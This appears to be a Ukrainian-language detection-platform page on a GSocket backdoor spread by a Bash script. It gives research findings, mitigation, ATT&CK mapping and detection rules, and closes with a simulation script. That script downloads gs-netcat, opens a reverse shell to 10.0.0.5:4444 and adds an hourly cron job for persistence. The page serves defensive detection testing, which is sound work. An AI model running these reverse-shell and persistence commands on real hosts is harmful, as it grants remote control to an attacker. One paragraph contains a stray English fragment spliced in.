Бекдор GSocket доставлений через Bash-сценарій
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Зброїзований Bash-скрипт завантажує та запускає GSocket клієнт (gs-netcat) для встановлення бекдору на хостах Linux та macOS. Він підтримує стійкість через cron задачі та зміни ” .profile“, зберігаючи спільний секрет у файлі фальшивого SSH ключа. Щоб зменшити видимість для судово-медичного аналізу, скрипт використовує анти-судові методи, які змінюють часові мітки та приховують докази модифікації файлів. В результаті, бекдор зв’язується зовні через GSocket релейну мережу до віддаленої IP адреси.
Дослідження
Дослідник активував скрипт в пісочниці та підтвердив завантаження gs-netcat бінарника, створення cron запису для стійкості, та маніпуляції з файлами автозавантаження користувача. Фальшивий ELF файл з назвою id_rsa скинутий в директорію .ssh , з вбудованим спільним секретом, що нагадує SSH ключ. Встановлено процедури скидання часових міток, що свідчить про цілеспрямовані зусилля для розмиття судово-медичних часових ліній. Скрипт підтримує декілька систем, схожих на Unix, спочатку виявляючи операційну систему хоста.
Пом’якшення
Захисники повинні зупиняти вихідний трафік до відомих GSocket релейних доменів та IP адрес, і спостерігати за несанкціонованими cron записами або підозрілими змінами шляхів. Логіка детекції на основі хоста має сигналізувати про використання імені файлу, а також про команди, які зазвичай використовуються для маніпуляції часовими мітками. Контроль найменших привілеїв та моніторинг цілісності файлів автозавантаження можуть додатково обмежити здатність бекдору продовжувати роботу непомітно. .profile and .ssh paths. Host-based detection logic should flag use of the gs-netcat filename as well as commands commonly used to manipulate timestamps. Least-privilege controls and integrity monitoring on startup files can further limit the backdoor’s ability to persist unnoticed.
Відповідь
Якщо ці індикатори з’являються, ізолюйте хост, отримайте зловмисний скрипт та скинути бінарні файли, і розпочніть повний судовий аналіз. Видаліть механізм стійкості cron та всі зловмисні артефакти, змініть оброблені SSH ключі та анулюйте будь-які спільні секрети. Проведіть полювання за аналогічними ознаками по всьому середовищу і оновіть контент детекції для виявлення схожої активності.
"graph TB %% Визначення класів classDef technique fill:#c2e0ff classDef tool fill:#ffd9b3 classDef operator fill:#ffcc99 %% Вузли методик tech_initial_user_execution["<b>Методика</b> – <b>T1204.004 Виконання користувачем</b>: Зловмисний Bash скрипт виконаний користувачем."] class tech_initial_user_execution technique tech_persistence_cron["<b>Методика</b> – <b>T1053.003 Заплановані завдання Cron</b>: Щогодинний cron завдання припиняє та перезапускає маскований gsu2011netcat бінарник."] class tech_persistence_cron technique tech_boot_init["<b>Методика</b> – <b>T1037 Скрипти ініціалізації завантаження</b>: Впровадження зловмисних команд в .profile користувача для стійкості."] class tech_boot_init technique tech_compromise_binary["<b>Методика</b> – <b>T1554 Компрометація бінарного хосту</b>: gsu2011netcat скопійовано в ~/.ssh/putty та масковано під id_rsa."] class tech_compromise_binary technique tech_private_keys["<b>Методика</b> – <b>T1552.004 Небезпечні облікові дані Приватні ключі</b>: Спільний секрет зберігається у фальшивому SSH приватному ключі."] class tech_private_keys technique tech_timestomp["<b>Методика</b> – <b>T1070.006 Таймстомп</b>: Власний облік та відновлення часових міток для приховування модифікацій файлів."] class tech_timestomp technique tech_time_evasion["<b>Методика</b> – <b>T1497.003 Уникнення пісочниці на основі часу віртуалізації</b>: Маніпуляція часовими мітками для уникнення аналізуючих середовищ."] class tech_time_evasion technique tech_protocol_tunneling["<b>Методика</b> – <b>T1572 Протокольний тунелювання</b>: Мережевий трафік тунелюється через GSocket релейну мережу."] class tech_protocol_tunneling technique tech_proxy_multi["<b>Методика</b> – <b>T1090 Багатозаступний проксі</b>: Трафік пересилається через GSocket CDN для внутрішнього та зовнішнього проксіювання."] class tech_proxy_multi technique tech_ssh_lateral["<b>Методика</b> – <b>T1021.004 Віддалені сервіси SSH</b> / <b>T1563.001 Викрадення SSH</b>: gsu2011netcat виконано як маскований SSH ключ для бічного переміщення."] class tech_ssh_lateral technique %% Вузли інструментів tool_gsnetcat["<b>Інструмент</b> – <b>Ім’я</b>: gsu2011netcat<br/><b>Опис</b>: Варіант Netcat, що використовується для прихованого управління."] class tool_gsnetcat tool tool_gsocket["<b>Інструмент</b> – <b>Ім’я</b>: GSocket CDN<br/><b>Опис</b>: Релейна мережа, що надає тунелювання та проксі послуги."] class tool_gsocket tool %% З’єднання атаки tech_initial_user_execution –>|дозволяє| tech_persistence_cron tech_persistence_cron –>|дозволяє| tech_boot_init tech_boot_init –>|дозволяє| tech_compromise_binary tech_compromise_binary –>|використовує| tool_gsnetcat tech_compromise_binary –>|дозволяє| tech_private_keys tech_private_keys –>|підтримує| tech_timestomp tech_timestomp –>|підтримує| tech_time_evasion tech_time_evasion –>|дозволяє| tech_protocol_tunneling tech_protocol_tunneling –>|використовує| tool_gsocket tool_gsocket –>|спричиняє| tech_proxy_multi tech_proxy_multi –>|дозволяє| tech_ssh_lateral tech_ssh_lateral –>|використовує| tool_gsnetcat "
Потік Атаки
Детекції
Файл Cron був створений (через file_event)
Переглянути
Прихований файл був створений на Linux хості (через file_event)
Переглянути
Можлива маніпуляція з рядками Base64 (через cmdline)
Переглянути
IOCs (HashSha256) для виявлення: Бекдор GSocket, доставлений через Bash скрипт
Переглянути
Встановлення бекдору GSocket через Bash скрипт з gs-netcat та стійкістю через cron завдання [Створення процесу Linux]
Переглянути
Виконання симуляції
Попередня умова: Перевірка телеметрії та базової лінії повинна бути пройдена.
-
Сценарій атаки та команди:
Нападник з обмеженими правами отримуєgs‑netcatбінарник з публічного репозиторію, розміщує його у/usr/local/bin, та запускає його, щоб відкрити зворотну оболонку на порту 4444. Щоб підтримувати доступ, нападник створює cron завдання, яке перезапускає бекдор щогодини. Ці кроки виконуються з компрометованої оболонки на цільовому хості. -
Сценарій регресійного тестування:
#!/usr/bin/env bash set -euo pipefail # 1. Завантажити gs-netcat (смуляція невеликим бінарником-заповнювачем) echo "[*] Завантаження заповнювача gs-netcat ..." curl -s -o /usr/local/bin/gs-netcat https://raw.githubusercontent.com/maaaaz/gs-netcat/master/gs-netcat_linux_amd64 chmod +x /usr/local/bin/gs-netcat # 2. Запустити gs-netcat у фоновому режимі (зворотна оболонка до IP нападника 10.0.0.5) echo "[*] Запуск зворотної оболонки gs-netcat ..." /usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash & GSN_PID=$! # 3. Переконатись, що процес працює sleep 2 ps -p "$GSN_PID" -o pid,cmd # 4. Створити cron завдання, яке перезапускає gs-netcat на початку кожної години echo "[*] Додавання стійкості через cron ..." (crontab -l 2>/dev/null; echo "0 * * * * /usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash >/dev/null 2>&1") | crontab - echo "[+] Симуляція завершена. Очікуйте на детекцію." -
Команди очищення:
#!/usr/bin/env bash set -euo pipefail # Видалити запис cron, доданий вище echo "[*] Видалення зловмисного cron завдання ..." crontab -l | grep -v "/usr/local/bin/gs-netcat -d 10.0.0.5 -p 4444 -e /bin/bash" | crontab - # Завершити всі працюючі процеси gs-netcat echo "[*] Завершення процесів gs-netcat ..." pkill -f "/usr/local/bin/gs-netcat" || true # Видалити бінарник echo "[*] Видалення бінарника gs-netcat ..." rm -f /usr/local/bin/gs-netcat echo "[+] Очищення завершено."